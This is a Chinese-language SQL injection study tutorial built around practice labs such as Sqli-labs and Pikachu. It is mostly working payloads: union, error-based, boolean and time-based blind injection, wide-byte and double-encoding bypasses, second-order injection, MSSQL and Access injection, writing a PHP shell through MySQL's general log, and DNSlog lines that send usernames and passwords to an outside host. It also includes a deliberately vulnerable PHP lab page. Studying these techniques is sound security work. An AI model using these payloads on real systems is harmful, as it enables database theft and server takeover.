头图：https://cdn.naraku.cn/imgs/web/review-sql.jpg

简介

练习靶场

  • Sqli-labs

  • Pikachu

    注入本质

    攻击的本质在于输入输出控制。

  • 什么是SQL注入

    • SQL注入漏洞的原理是由于开发者在编写操作数据库代码时，直接将外部可控的参数拼接到SQL语句中，没有经过任何过滤或过滤不严谨，导致攻击者可以使恶意语句在数据库引擎中执行

  • 将用户输入的数据当作SQL语句执行，有2个关键条件：

    • 参数带入数据库查询
    • 参数用户可控

      MySQL基础

      1. -- 登录Mysql
      2. -- $ mysql -u'数据库账号' -p'密码'
      3. $ mysql -u'root' -p'owasp'
      4. > use database_name;       -- 使用库
      5. > alter table table_name;  -- 使用表
      6. > select user()            -- 获得当前用户名
      7. > select databse()         -- 获得当前数据库名
      8. > select version()         -- 获得当前数据库版本
      9. > table_name='user_privileges'   -- 用户权限表
      10. > table_name='schema_privileges' -- 数据库库权限表

      注入基础

      MySQL 5.0以上版本自带数据库information_schema，记录当前MySQL下所有数据库名、表名、列名。

  • information_schema：提供了访问数据库元数据的方式，元数据包括数据库名、表名、字段数据类型、访问权限等信息。符号点.表示下一级

  • Information_schema.schemata：记录库名信息的表
    • schema_name：记录库名的字段
  • Information_schema.tables：记录表名信息的表
    • table_schema：记录库名的字段
    • table_name：记录表名的字段

  • Information_schema.columns：记录列名信息的表

    • table_schema：记录库名的字段
    • table_name：记录表名的字段
    • column_name：记录列名的字段
      1. -- 查询全部库 -> information_schema.schemata 表中的 schema_name 列
      2. select 1,schema_name from information_schema.schemata
      3. -- 查询指定库中的全部表
      4. select 1,table_name from information_schema.tables where table_schema="pikachu"
      5. -- 查询全部列 -> information_schema.columns 表中的 column_name 列
      6. select 1,column_name from information_schema.columns
      7. -- 查询数据库库名、表名 information_schema.tables --
      8. select distinct table_schema from information_schema.tables;  -- 列出所有库,等价于show databases
      9. select table_name from information_schema.tables where table_schema='table_name';  -- 列出指定库的所有表,等价于show tables;
      10. -- 查询数据库库名、表名、字段名 information_schema.columns --
      11. select column_name from information_schema.columns;  -- 列出所有表的所有字段
      12. select column_name from information_schema.columns where ;  -- 列出指定表的所有字段
      13. select column_name from information_schema.columns  where table_schema='database_name' and table_name='table_name';  -- 列出指定库指定表的所有字段
      14. order by x  -- 获取字段数
      15. version()   -- 版本信息
      16. database()  -- 数据库名
      17. user()      -- 数据库用户
      18. @@version_compile_os  -- 操作系统
      19. @@datadir -- 数据库存储目录
      20. @@secure_file_priv  -- 导入导出限制

      注入流程

  • 判断注入点

    1. and 1=1
    2. and 1=2

  • 判断字段数

    1. order by 1
    2. order by 2
    3. ...

  • 查询库名

    1. union select 1,2,database(),4
    2. -- 也可以查询其它信息
    3. user()      # 当前用户
    4. version()   # 当前版本
    5. database()  # 当前库名
    6. @@version_compile_os  # 操作系统

  • 爆表爆列

    1. -- 爆表用group_concat()函数,需将目标据库名转换为十六进制
    2. union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=[十六进制数据库名]
    3. -- 爆列,将目标表名转换为十六进制
    4. union select 1,group_concat(column_name)3,4 from information_schema.columns where table_name=[十六进制表名]

    文件操作

  • 文件读写均需要输入绝对路径

  • 引号被过滤或闭合错误时,可将路径或写入的内容进行十六进制编码

    1. -- load_file('file_name')   读取函数
    2. select load_file('c:/file.txt');
    3. select load_file(0x633a2f66696c652e747874);
    4. -- into outfile 'file_name'  写入函数
    5. select '123' into outfile 'c:/file.txt';
    6. select 0x633a2f66696c652e747874 into outfile 'c:/file.txt';

    x> 可能出现的错误

  • 文件读取一直返回NULL

    • 原因：数据库用户权限不足，必须是root用户

  • 文件写入报错：The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

    • 原因：mysql文件的导入和导出路径有默认的设置，即 secure-file-priv,当传入的csv文件路径与默认的路径冲突时就会报错。
    • secure-file-priv的值有三种情况：
      • secure_file_priv=null，限制mysqld不允许导入导出
      • secure_file_priv=/path/ ，限制mysqld的导入导出只能发生在默认的/path/目录下
      • secure_file_priv=''，不对mysqld的导入导出做限制

        注入扩展

        通过日志写Shell

        Mysql 5.0版本以上会创建日志文件，修改下面2个关于日志的全局变量，若对生成的日志有读写权限也可以GetShell

  • general log日志记录状态，当值为ON时，所执行的sql语句都会保存到general log file中

  • general log file日志保存路径

  • Tips：修改日志路径后，可通过select '<?php phpinfo();?>'写入phpinfo，然后浏览器访问该文件查看是否成功写入

    1. SHOW VARIABLES LIKE 'general%'; 　　-- 查看日志状态
    2. SET GLOBAL general_log='on'        -- 开启日志记录
    3. SET GLOBAL general_log_file='/var/www/html/123.php'  -- 修改日志记录路径,路径不存在会报错

    PHP防注入

  • 魔术引号，php.ini配置文件中开启，对用户输入中的单引号进行转义

    • magic_quotes_gpc = off
  • 安全函数，将用户输入放于addslashes()函数内，与魔术引号具有相同功能
    • $id = addslashes($_REQUEST['id']);

  • 上面防注入的一些绕过方法，后面详讲

    • 编码绕过
    • 宽字节注入

      跨库注入

      场景：网站A无注入点，网站B存在MySQL注入，且网站AB使用同一数据库。此时可利用网站B的注入点跨库查询获取网站A的数据。
      条件：网站B数据库用户权限为root

  • 获取所有数据库名

    1. id=1 union select 1,schema_name,3 from information_schema.schemata

  • 获取指定数据库pikachu下 表名

    1. id=1 union select 1,table_name,3 from information_schema.tables where table_schema='pikachu'

  • 获取指定表名users下的列名

    1. id=1 union select 1,column_name,2 from information_schema.columns where table_schema='pikachu' and table_name='users'

  • 获取指定数据

    1. id=1 union select 1,username,password from pikachu.users;  -- 查询pikachu数据库下的users表

    报错注入

  • Insert/delete/update注入：一般存在于增删改用户信息的地方。

  • HTTP Header注入：有时候后台需要通过HTTP Header头获取客户端的一些信息，如UserAgent、Accept字段等，会对客户端的HTTP Header信息进行获取并使用SQL进行处理，可能会导致基于HTTP Header的SQL注入漏洞

    基础

  • 条件：后台没有屏蔽数据库报错信息，在语法发生错误时会输出到前端

  • 思路：在MySQL中使用一些指定的函数来制造报错，从而从报错信息中获取设定的信息。select/insert/update/delete都可以使用报错来获取信息
  • 常用函数：updatexml(XML_Document, XPath_String, New_Value)
    • XML_Document，表中字段名
    • XPath_String，XPath格式的字符串
    • New_Value，替换的值
  • 此函数的作用是改变(查找并替换)XML文档中符合条件的节点的值。其中XPath定位参数必须是有效的，否则会发生错误。这里是思路是将查询表达式放在该参数中，查询结果会跟着报错信息一并返回。

  • 其它函数：ExtractValue((XML_Document, XPath_String)

    实战演示

  • 这里利用Pikachu靶场字符型注入(GET)进行演示。随便输入一个单引号'，可以看到返回报错信息，尝试报错注入

  • 构造Payload

    1. ' and updatexml(1, version(), 0) #

  • 此处结果为XPATH syntax error: '.53'，可以看到返回的版本号显示不全，需要利用concat()函数

  • concat()函数可以把传进去的2个参数组合成一个完整的字符串并返回，同时也可以执行表达式，可以把参数和表达式执行的结果进行拼接并返回。0x7e是~的十六进制，可以防止返回的查询结果被截断。

    1. ' and updatexml(1, concat(0x7e, version()) ,3) #

  • 此时返回的结果是XPATH syntax error: '~5.5.53'

  • 报错只能显示一行。假如执行以下语句获取表名，则会报错：Subquery returns more than 1 row

    1. ' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema="pikachu" )) ,0) #

  • 可以通过limit来操作返回的数量。limit 0,1为从第0个开始取，取1条

    1. ' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema="pikachu" limit 0,1)) ,3) #
    2. ......
    3. ' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema="pikachu" limit 4,1)) ,3) #

  • 后面获取列名也是一样

    1. ' and updatexml(1,concat(0x7e, (select column_name from information_schema.columns where table_schema="pikachu" and table_name="users" limit 0,1)),3) #
    2. ......
    3. ' and updatexml(1,concat(0x7e, (select column_name from information_schema.columns where table_schema="pikachu" and table_name="users" limit 3,1)),3) #

  • 最后获取数据

    1. ' and  updatexml(1,concat(0x7e, (select username from users limit 0,1)),3) #
    2. ' and  updatexml(1,concat(0x7e, (select password from users limit 0,1)),3) #

    盲注

  • 普通联合注入和盲注的区别

    • 普通注入效率高、兼容性差
    • 盲注效率低、兼容性强

      布尔盲注

      很多时候网站会对这些报错信息进行屏蔽，或者经过处理后返回一些标准的信息，此时无法根据报错信息进行注入的判断。而这里的布尔盲注是通过对比网站对于”真”和”假”的返回结果，从而构造SQL查询语句，并根据网站返回结果来判断该语句的结果为真还是假。

  • 此处使用Pikachu靶场中的布尔注入漏洞，当输入为真，即该用户存在时，返回用户信息。用户不存在或者语句为假时返回该username不存在，并且已知kobe这个用户存在。因此可以构造语句如下：

    1. kobe' and length(database())>6 #
    2. kobe' and length(database())>7 #

  • 使用length()函数来获取当前数据库名的长度并进行比较，在>6时返回用户信息，即证明为真；>7时返回username不存在，即为假。由此可判断该数据库的长度为7

  • 继续构造语句来猜解库名

    1. kobe' and ascii(substr(database(),1,1))>111 #
    2. kobe' and ascii(substr(database(),1,1))>112 #  =>p
    3. ...
    4. kobe' and ascii(substr(database(),7,1))>116#
    5. kobe' and ascii(substr(database(),7,1))>117#  =>u

  • 此处substr(database(),1,1))为从database()返回的数据库名中的第1位开始取值，取1位。并通过ascii()函数转换为ASCII码，将其分别与111和112进行比较。当该ASCII码>111时返回真，>112时返回假。由此可知该ASCII码为112，即p。以此类推，可以猜解出各个位置的字母，组合得到库名pikachu

    时间盲注

  • 主要函数

    • sleep(n)，延迟n秒执行

      1. select * from user where id=1 and sleep(1);

    • if (条件, True, False)，当条件成立返回第2个参数，否则返回第3个参数

      1. select if(1=2, 'a', 'b');

    • length()，获取长度

    • mid(str, 1, 2)，从第1位开始截取字符串，截取2个

      1. select mid('abcdef', 1, 2);

    • ord、ASCII编码

  • 猜解库名

    1. -- 猜解库名长度,相等则返回0即sleep(0),否则sleep(5)
    2. -- select sleep(if((select length(database())=4), 0, 2));
    3. ?id=1 and select sleep(if((select length(database())=3), 0, 2));
    4. -- 猜解库名
    5. -- select sleep(if((select database()='user'), 0, 3));
    6. ?id=1 and sleep(if((select database()='user'), 0, 3))  
    7. ?id=1 and select sleep(if((select database()='dvwa'), 0, 3));

  • 猜解表名

    • limit n-1,n查询第n个表
    • mid(table_name,x,1)查询表中第x位的值
      1. -- 猜解第1个表名长度
      2. ?id=1 union select 1,2,3,sleep(if(length(table_name)=4, 0, 3)) from information_schema.tables where table_schema=database() limit 0,1
      3. -- 猜解第2个表名长度
      4. ?id=1 union select 1,2,3,sleep(if(length(table_name)=4, 0, 3)) from information_schema.tables where table_schema=database() limit 1,2
      5. -- 猜解表名第1位
      6. ?id=1 union select 1,2,3,sleep(if(mid(table_name,1,1)='a', 0, 3)) from information_schema.tables where table_schema=database() limit 0,1
      7. -- 猜解表名第2位
      8. ?id=1 union select 1,2,3,sleep(if(mid(table_name,2,1)='a', 0, 3)) from information_schema.tables where table_schema=database() limit 0,1
      9. -- 使用ASCII码猜解表名
      10. ?id=1 union select 1,2,3,sleep(if(ord(mid(table_name,1,1))=97, 0, 1)) from information_schema.tables where table_schema=database() limit 0,1

      Dnslog盲注

      MySQL中的load_file()函数可以发起请求

  • 构造语句，利用load_file()函数发起请求，使用DNSlog接收请求并获得数据。需要注意的是，此函数只能在Windows系统中使用。所以如果要使用DNSlog盲注，那么目标服务器必须是Windows

    1. select load_file(concat('\\\\', 'test', '.mysql.xxx.ceye.io\\abc'));
    2. select load_file(concat('\\\\', (select database()), '.mysql.xxx.ceye.io\\abc'));

  • 使用concat_ws函数分隔查询的数据。注意DNSlog无法记录特殊符号，这里使用X作分隔符

    1. select load_file(concat('\\\\', (select concat_ws('X',username,password) from users limit 0,1), '.mysql.xxx.ceye.io\\abc'));

  • 如果想使用特殊字符分隔，也可以用hex()函数将查询结果转换为16进制，最后将返回的数据进行解码即可

    1. select load_file(concat('\\\\', (select hex(concat_ws('~',username,password)) from users limit 0,1), '.mysql.xxx.ceye.io\\abc'));

    宽字节注入

    GBK编码在处理编码的过程中存在问题，可构造数据消灭\

  • 一个字符的大小为1个字节，即称为窄字节。大小为2个字节则称为宽字节。如GBK、GB2312等编码都是宽字节。

  • 1个字节为8位，可以表示2^8即256个字符，所有的英文字符只有a~z,A~Z48个，所以完全可以使用1个字节表示。而中文远远不止256个，因此需要占2个字节。

    注入原理

  • 某些程序会对用户输入的一些特殊字符进行了处理。如用户输入'，则可能会在其前面添加一个\进行转义。

    1. ' union ...

    | 输入 | 处理 | 编码 | 查询 | 结果 | | —- | —- | —- | —- | —- | | ' | \\' | %5C%27 | id=1\\' and | 不能注入 |

  • 而此时如果需要绕过，可以尝试宽字节注入，黑客可以输入如下：

    1. %df' union ...

  • MySQL在使用GBK编码时，如果1个字符的ASCII码>128，即到达汉字的范围，那么就会将该字符与后面1个字符组合成1个汉字

    • 此处即将%df%5C组合成汉字運 | 输入 | 处理 | 编码 | 查询 | 结果 | | —- | —- | —- | —- | —- | | %df' | %df\\' | %df%5C%27 | id=運' and | 可以注入 |

练习

这里使用Sqlilab靶场中的Less-32进行练习

  • 先分别输入'和%df'测试一下。可以看到第2次会返回一个特殊字符和\'，该特殊字符编码后会与\的编码组合成汉字，从而将\绕过

    1. ?id='
    2. ?id=%df'

    复习 - SQL注入 - 图1

  • 后面的注入就跟普通注入没什么区别的，只需要在前面加个%df

    1. -- 判断字段数
    2. ?id=%df' order by 3 --+
    3. ?id=%df' order by 4 --+
    4. -- 回显
    5. ?id=%df' union select 1,2,3  --+ 
    6. -- 信息,库名:security
    7. ?id=%df' union select 1,database(),user()  --+

  • 猜表：emails，referers，uagents，users

    1. ?id=%df' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1 ),3 --+ 
    2. ?id=%df' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 1,1 ),3 --+ 
    3. ?id=%df' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 2,1 ),3 --+ 
    4. ?id=%df' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 3,1 ),3 --+

  • 猜字段。这里一开始使用如下语句猜解users表的字段

    1. ?id=%df' union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1),3 --+
    2. -- 报错:You have an error in your SQL syntax; ... '\"users\" limit 0,1),3 -- ' LIMIT 0,1' at line 1

  • 如果使用上面语句，就会发现table_name后面的引号被\转义了，但是此处不能使用%df来绕过\，否则会变成查询user運这个表。即数据库接收到的语句如下：

    1. ?id=%df\' union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name=%df\"users%df\" limit 0,1),3 --+

  • 最后解决办法有2个

    • 直接将表名进行十六进制编码。如users表可编码为0x7573657273
    • 或者先通过前面查询表名的语句查询得到表名，再将查询结果放在**table_name**后面
      1. -- 查询表名
      2. select table_name from information_schema.tables where table_schema=database() limit 3,1
      3. -- 方法1: 十六进制编码
      4. ?id=%df' union select 1,(select column_name from information_schema.columns 
      5. where table_schema=database() 
      6. and table_name=0x7573657273
      7. limit 0,1),3 --+
      8. -- 方法2: 将查询表名的语句放在table_name后
      9. ?id=%df' union select 1,(select column_name from information_schema.columns 
      10. where table_schema=database() 
      11. and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1) 
      12. limit 0,1),3 --+

  • 通过调整limit得到users表全部字段：id、username、password

    1. ?id=%df' union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1) limit 0,1),3 --+
    2. ?id=%df' union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1) limit 1,1),3 --+
    3. ?id=%df' union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1) limit 2,1),3 --+

  • 最终轻松获取全部用户名及密码

    1. ?id=%df' union select 1,username,password from users limit 0,1 --+
    2. ...
    3. ?id=%df' union select 1,username,password from users limit 12,1 --+

    测试

  • 黑盒：在可能的注入点后添加%df，之后进行注入测试

  • 白盒：

    • 查看MySQL编码是否为GBK
    • 是否使用preg_replace把单引号替换为\'
    • 是否使用addslashes()函数进行转义
    • 是否使用mysql_real_escape_string()函数进行转义

      防御

  • MySQL使用UTF-8编码，不使用宽字节的编码(GBK、日文、韩文)，可以从根本上避免宽字节注入

  • 设置MySQL的连接参数，使用二进制的方式连接

    1. character_set_client=binary

  • 使用mysql_real_escape_string，mysql_set_charset('gbk', $conn)

    二次编码注入

    注入原理

    PHP本身处理编码与urldecode()函数配合失误，可构造数据消灭\

  • 假设用户输入如下：

    1. 1%27 union ...  # %27即'的url编码

    | 输入 | PHP自身编码 | 转义 | 代入SQL查询 | 结果 | | —- | —- | —- | —- | —- | | 1%27 | 1' | id=1\\' | id=1\\' and | 不能注入 |

  • 而如果将urldecode()函数放在不适当的位置，与PHP编码配合失误，则可能产生漏洞。假设用户输入如下：

    1. 1%2527 union ...

  • 此时用户输入的处理流程为：

    • %25先被PHP自身编码，转换为%
    • 然后%与后面的27组合成%27，并被urldecode()函数编码，转换为单引号' | 输入 | PHP自身编码 | 转义 | 函数编码 | 查询 | 结果 | | —- | —- | —- | —- | —- | —- | | 1%2527 | 1%27 | 1%27
      （此时无'
      ，不会被转义） | 1'
      (此时urldecode
      将%27
      转换为'
      ) | id=1' and | 可以注入 |

环境准备

SQLilab中没有二次编码的练习靶场，需要自行搭建

  • 先搭建好SQLilab靶场，然后在新建目录Less-encode，并在目录下创建index.php，写入如下代码

    1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    2. <html xmlns="http://www.w3.org/1999/xhtml">
    3. <head>
    4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    5. <title>二次编码注入</title>
    6. </head>
    7. <body bgcolor="#000000">
    8. <div style ="text-align:right">
    9. <form action="" method="post">
    10. <input  type="submit" name="reset" value="Reset the Challenge!" />
    11. </form>
    12. </div>
    13. </right>
    14. <div style=" margin-top:20px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
    15. <font size="3" color="#FFFF00">
    16. <?php
    17. include("../sql-connections/sql-connect.php");
    18. error_reporting(0);
    19. if(isset($_GET['id'])){
    20.   $id = mysql_real_escape_string($_GET['id']);
    21.   echo 'mysql_real_escape_string:'.$id."<br />";
    22.   $id = urldecode($id);
    23.   echo 'urldecode:'.$id.'<br />';
    24.   $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    25.   $result = mysql_query($sql);
    26.   $row = mysql_fetch_array($result);
    27.   if($row){
    28.       echo "<font size='5' color='#99FF00'>";
    29.       echo 'Your Login name:' . $row['username'];
    30.       echo "<br>";
    31.       echo 'Your Password:' . $row['password'];
    32.       echo "</font>";
    33.   }
    34.   else{
    35.       print_r(mysql_error());
    36.       echo "</font>";
    37.   }
    38. }
    39. else{
    40.   echo "Please input the ID as parameter with numeric value";
    41. }
    42. ?>
    43. </body>
    44. </html>

    练习

  • 输入如下代码?id='，可以看到被转义为\'

复习 - SQL注入 - 图2

  • 而输入?id=%2527，则可以看到先被PHP本身编码为%27，再经过urldecode()函数转换为'

复习 - SQL注入 - 图3

  • 此时可以得知，只需要将单引号'修改为%2527，然后按照正常方法注入即可

    1. -- 判断字段数
    2. ?id=%2527 order by 3 --+
    3. ?id=%2527 order by 4 --+
    4. -- 输出位置
    5. ?id=%2527 union select 1,2,3 --+
    6. -- 信息收集
    7. ?id=%2527 union select 1,database(),user() --+

  • 猜表：emails，referers，uagents，users

    1. ?id=%2527 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1),3 --+
    2. ?id=%2527 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 1,1),3 --+
    3. ?id=%2527 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 2,1),3 --+
    4. ?id=%2527 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 3,1),3 --+

  • 猜字段。这里一开始使用如下语句猜解users表的字段

  • 同前面宽字节注入一样,如果直接使用 table_name='xxx' 来过滤需要查询的表时会报错,因为引号会被转义,最终查询的是 table_name=\'xxx\'

    1. ?id=%2527 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),3 --+

  • 通过将猜表的语句放到 table_name 后

    • 第1个limit定位需要查询字段的表
    • 第2个limit用于逐个输出该表的字段：id、username、password
      1. ?id=%2527 union select 1,(select column_name from information_schema.columns 
      2. where table_schema=database() 
      3. and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1) 
      4. limit 0,1),3 --+

  • 最终得到全部数据

    1. ?id=%2527 union select 1,username,password from users limit 0,1 --+
    2. ....
    3. ?id=%2527 union select 1,username,password from users limit 12,1 --+

    测试

  • 黑盒：在可能的注入点后键入%2527进行测试

  • 白盒：
    • 是否使用urldecode()函数
    • urldecode()函数是否在转义方法之后

      二次注入

      攻击者先将恶意数据插入到数据库后，然后在读取恶意数据时，恶意数据被插入到SQL查询语句所导致的注入。

      注入原理

      二次注入分为以下2步：
  1. 找到插入数据的地方，插入恶意数据。插入数据时，程序仅对其中的特殊字符进行转义，但是写入数据库时还是保留了原来的数据，但是数据本身包含恶意内容
  2. 找到调用数据的地方，调用恶意数据。当数据被存到数据库后，程序就会认为数据是可信的，在下次需要进行查询时，直接从数据库取出恶意数据，没有进一步的检验和处理，从而造成SQL二次注入。

复习 - SQL注入 - 图4

练习

这里使用Sqlilab靶场中的Less-24进行练习

  • 进入Less-24，点击下方New User click here?新建一个用户
    • 用户名为：admin '#
    • 密码随意，这里是123
  • 点击Register，页面显示注册成功。看看现在数据库里有哪些用户

复习 - SQL注入 - 图5

  • 可以看到，用户名admin '#直接被插入到数据库中，并没有进行转义等处理
  • 登录一下新注册的用户，登录成功后可以修改密码，这里修改为naraku

复习 - SQL注入 - 图6

  • 页面显示修改成功，再次看看数据库中的用户。可以发现，admin '#用户的密码没有变化，但admin的密码却被修改成naraku

复习 - SQL注入 - 图7

分析

  • 原因是该程序对数据库中取出的数据未进行处理，从而产生漏洞。具体可以查看Less-24目录下的pass_change.php文件，主要代码如下：

    1. if (isset($_POST['submit'])){
    2.   # Validating the user input........
    3.   $username= $_SESSION["username"];  // 用户名
    4.   $curr_pass= mysqli_real_escape_string($con1, $_POST['current_password']);  // 原密码
    5.   $pass= mysqli_real_escape_string($con1, $_POST['password']);        // 新密码
    6.   $re_pass= mysqli_real_escape_string($con1, $_POST['re_password']);  // 再次输入新密码
    8.   if($pass==$re_pass){    
    9.       $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
    10.       $res = mysqli_query($con1, $sql) or die('You tried to be smart, Try harder!!!! :( ');
    11.       $row = mysqli_affected_rows($con1);
    12.       echo '<font size="3" color="#FFFF00">';
    13.       echo '<center>';
    14.       if($row==1){...}
    15.       else{...}
    16.   }
    17.   else{...}
    18. }
    19. ...

  • 程序只对curr_pass、pass、re_pass等用户输入的数据进行处理，而未对从数据库取出的$username作处理。而当传入以上数据修改密码时，PHP执行语句如下：

    1. $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
    2. # 实际语句:
    3. $sql = "UPDATE users SET PASSWORD='naraku' where username='admin '# ' and password='123' ";

  • 数据库接收并执行的SQL为：

    1. UPDATE users SET PASSWORD='naraku' where username='admin '# ' and password='123'

  • 可以看到，尽管curr_pass不正确，但由于判断原密码是否正确的部分被注释掉了，所以这里可以直接将admin用户的密码修改为naraku。

    防御

  • 不仅要对外部提交的数据要进行检验。对于程序内部的数据调用，也同样要进行严格的检查

    其它数据库

  • 判断数据库类型

    1. and exists ( select * from msysobjects ) > 0    -- 存在则为Access
    2. and exists ( select * from sysobjects ) > 0     -- 存在则为SQLServer

    MSSQL注入

    注入流程

    测试靶场

  • 判断是否有注入

    1. and 1=1
    2. and 1=2

  • 判断是否MSSQL

    1. and user>0

  • 判断数据库系统

    1. and (select count(*) from sysobjects) > 0  -- 存在则为MSSQL
    2. and (select count(*) from msysobjects) > 0 -- 存在则为Access

  • 其它

    • 基本信息

      1. -- 获取数据库信息
      2. and 1=(select @@version)
      3. -- 获取当前数据库名称
      4. and 1=(select db_name())

    • 获取库名

      1. -- 获取第1个数据库名
      2. and 1=(select top 1 name from master..sysdatabases where dbid>4)
      3. -- 获取第2个数据库名
      4. and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<>'第1个数据库名')
      5. -- 获取第3个数据库名
      6. and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<>'第1个数据库名' and name<>'第2个数据库名')
      7. -- 以此类推,逐步添加 [and name <> '上一个库名'] 可逐个往下查询得到全部数据库

    • 获取表名

      1. -- 获取第1张表
      2. and 1=(select top 1 name from sysobjects where xtype='u')
      3. -- 获取第2张表
      4. and 1=(select top 1 name from sysobjects where xtype='u' and name <> '第1张表名')
      5. -- 获取第3张表
      6. and 1=(select top 1 name from sysobjects where xtype='u' and name <> '第1张表名' and name <> '第2张表名')
      7. -- 以此类推,逐步添加 [and name <> '上一张表名'] 可逐个往下查询得到全部表

    • 获取列名

      1. -- 获取第1列名
      2. and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='表名'))
      3. -- 获取第2列名
      4. and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='表名') and name <> '第1列名')
      5. -- 获取第3列名
      6. and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='表名') and name <> '第1列名' and name <> '第2列名')
      7. -- 以此类推,逐步添加 [and name <> '上一张列名'] 可逐个往下查询得到该表全部列名

    • 获取数据

      1. -- 获取第1个数据
      2. and 1=(select top 1 列名 from 表名)

      管理权限

  • SA权限：数据库操作、文件管理、命令执行、注册表读取

  • DB权限：数据库操作、文件管理

  • Public权限：数据库操作

    Access注入

    注入流程

  • 判断注入点 ```sql ‘ and 1=1 and 1=2 or 1=1 or 1=2

  2. - 判断数据库表
  3. ```sql
  4. and exists (select * from table_name)            -- 猜解表名
  5. and exists (select column_name from table_name)  -- 猜解列名
  • 猜解
    • 猜解字段长度 ```sql and (select len(column_name) from table_name)=5 — 返回正常则该字段名长度等于5,也可以使用大于/小于 and (select len(admin) from admin)=5 — 猜解admin字段长度
  2.    - 猜解字段值：通过ASCII码判断来猜解字段值
  3. ```sql
  4. -- 猜解admin表中password字段第1个数据,以此类推
  5. and (select top 1 asc(mid(password, 1, 1)) from admin)=97  -- 同上,返回正常则等于
  6. -- 猜解第2个数据
  7. and (select top 1 asc(mid(password, 2, 1)) from admin)=97
  8. -- 猜解第3个数据
  9. and (select top 1 asc(mid(password, 2, 1)) from admin)=97

偏移注入

偏移注入的产生主要是用来解决猜到表名，但猜不到列名的情况

  • 先猜解出该表的字段数 ```sql ?id=1 union select 1,2,3,4,5,6,7,8,9,10 from admin
  2. - 使用`*`号从后往前逐个删除替代，直至返回页面正常为止
  3. ```sql
  4. ?id=1 union select 1,2,3,4,5,6,7,8,9,* from admin
  5. ?id=1 union select 1,2,3,4,5,6,7,8,* from admin
  6. ?id=1 union select 1,2,3,4,5,6,7,* from admin   -- 假设此时返回正常
  • 代入计算公式 ```sql — 设字段数为10,在第7位返回正常 — 则 10-7=3 — 4+32=10, X+(字段数-正常返回的数)2=字段数,则在X=4后面使用以下语句 union select 1,2,3,4,a.id,b.id, from (admin as a inner join admin as b on a.id=b.id) — 1+33=10, Y+(字段数-正常返回的数)3=字段数,则在Y=1后面使用以下语句 union select 1,a.id,b.id,c.id, from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
  1. <a name="LcyEH"></a>
  2. #### 跨库查询
  3. > 条件：同服务器下的站点存在注入点，知道目标站点数据库的绝对路径和数据库表，则可以通过跨库查询猜解表中的字段名
  5. ```sql
  6. -- 绝对路径: D:\wwwroot\data.mdb
  7. -- A是目标站点,B是存在注入的站点,AB处于同一服务器
  8. -- admin是数据库中的表,user和password是admin表中的字段
  9. ?id=1 and 1=2 union select 1,2,user,4,5,6 from [D:\wwwroot\data.mdb].admin
  10. ?id=1 union select 1,2,user,password,5,6 from [D:\wwwroot\data.mdb].admin